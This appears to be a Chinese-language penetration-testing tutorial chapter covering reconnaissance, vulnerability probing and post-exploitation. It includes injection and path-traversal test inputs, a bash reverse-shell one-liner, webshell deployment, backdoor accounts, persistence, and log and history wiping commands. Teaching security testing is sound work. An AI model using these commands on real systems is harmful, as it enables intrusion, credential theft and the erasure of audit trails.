跳转至

渗透测试方法论

8.1 信息收集

信息收集决定了渗透测试的上限。你掌握的信息越多,能发现的攻击面就越广。

信息收集的维度

维度 收集内容 工具
域名资产 根域名、子域名、DNS 记录、Whois Sublist3rOneForAlldignslookup
IP 资产 真实 IP(绕过 CDN)、IP 段、开放端口 pingnslookupnmapmasscan
Web 指纹 中间件、框架、CMS、JS 库、版本 WappalyzerWhatWebBuiltWith
目录接口 后台路径、API 接口、备份文件、敏感文件 dirsearchgobusterffuf
人员信息 员工邮箱、社交账号、泄露密码 theHarvesterhaveibeenpwned
网络空间 暴露在互联网上的资产 ShodanCensysFOFA

信息关联分析示例: 1. sublist3r -d target.com 发现 dev.target.com 2. nmap -sV dev.target.com 发现开放 8080(Tomcat)和 3306(MySQL) 3. dirsearch -u http://dev.target.com:8080 发现 /manager/html 4. 访问 Tomcat 后台,尝试默认密码 tomcat:tomcat → 登录成功 5. 从 Tomcat 后台可部署 WAR 包获得 webshell

从子域名发现 → 端口扫描 → 目录爆破 → 弱口令利用,每一步都依赖前一步的信息。


8.2 漏洞发现

自动化扫描工具的定位

工具 侧重点 适用场景
Burp Suite HTTP 代理 + 主动/被动扫描 Web 应用测试的标准工具
OWASP ZAP 开源替代 Burp 预算有限时的选择
Nessus/OpenVAS 系统级漏洞扫描 主机漏洞评估
AWVS Web 漏洞深度扫描 大规模 Web 资产扫描
SQLMap SQL 注入专项 自动化注入检测与利用
XSStrike XSS 专项 智能 XSS Payload 生成与检测

手工验证的原则

扫描器发现疑似漏洞后,必须手工验证: 1. SQL 注入' 触发错误 → ' AND 1=1 正常 → ' AND 1=2 异常,三段式确认 2. XSS:输入 <script>alert(1)</script> 看是否弹窗,同时检查是否被 WAF 拦截 3. 命令注入:输入 ; sleep 5| sleep 5,观察响应是否延迟 5 秒 4. 目录遍历:输入 ../../../etc/passwd,检查返回内容是否包含系统用户信息


8.3 漏洞利用与后渗透

从漏洞到权限的映射

入口漏洞 直接获得 后续操作
SQL 注入 + 高权限 数据库数据 读管理员密码 → 登录后台;xp_cmdshell / INTO OUTFILE
文件上传 WebShell 蚁剑/冰蝎/哥斯拉连接,获得服务器操作权限
反序列化 命令执行 反弹 shell(bash -i >& /dev/tcp/ip/port 0>&1
Redis 未授权 Redis 控制权 写 SSH 公钥 / 写 Crontab / 写 WebShell
弱口令(Tomcat/RDP/SSH) 应用/系统权限 部署 WAR / 远程桌面 / SSH 隧道

后渗透阶段

获得初始权限后,渗透测试并未结束,而是进入后渗透阶段:

  1. 权限提升(Privilege Escalation)
  2. Linux:SUID 滥用、内核漏洞(dirty cow)、sudo 配置错误、计划任务
  3. Windows:UAC 绕过、服务配置错误、AlwaysInstallElevated、内核漏洞

  4. 内网横向移动(Lateral Movement)

  5. 密码抓取:Mimikatz(Windows)、/etc/shadow(Linux)
  6. 内网扫描:fscannmap 扫描内网存活主机和开放端口
  7. 隧道建立:FRP、ngrok、SSH 隧道穿透内网边界

  8. 权限维持(Persistence)

  9. 添加后门账户(Windows $ 结尾隐藏账户、Linux UID 为 0 的后门)
  10. 计划任务(Windows schtasks、Linux crontab
  11. 启动项(Windows 注册表 Run 键、Linux /etc/rc.local
  12. WebShell(隐蔽性强的内存马、无文件马)

  13. 痕迹清理

  14. 删除操作日志:echo "" > /var/log/auth.log
  15. 清除历史命令:history -c
  16. 修改文件时间戳:touch -r /bin/ls /backdoor
  17. 隐藏进程:将进程名伪装为系统进程

实战权限提升案例: 通过 Tomcat 弱口令获得一个低权限的 tomcat 用户 shell。执行 uname -a 发现内核版本 Linux 2.6.32。搜索发现该版本存在 dirty cow 漏洞(CVE-2016-5195)。上传 dirty cow EXP 编译执行,获得 root shell。随后添加计划任务维持权限,并清理上传的 EXP 文件和操作日志。



总结

  • 8.1 信息收集
  • 8.2 漏洞发现
  • 8.3 漏洞利用与后渗透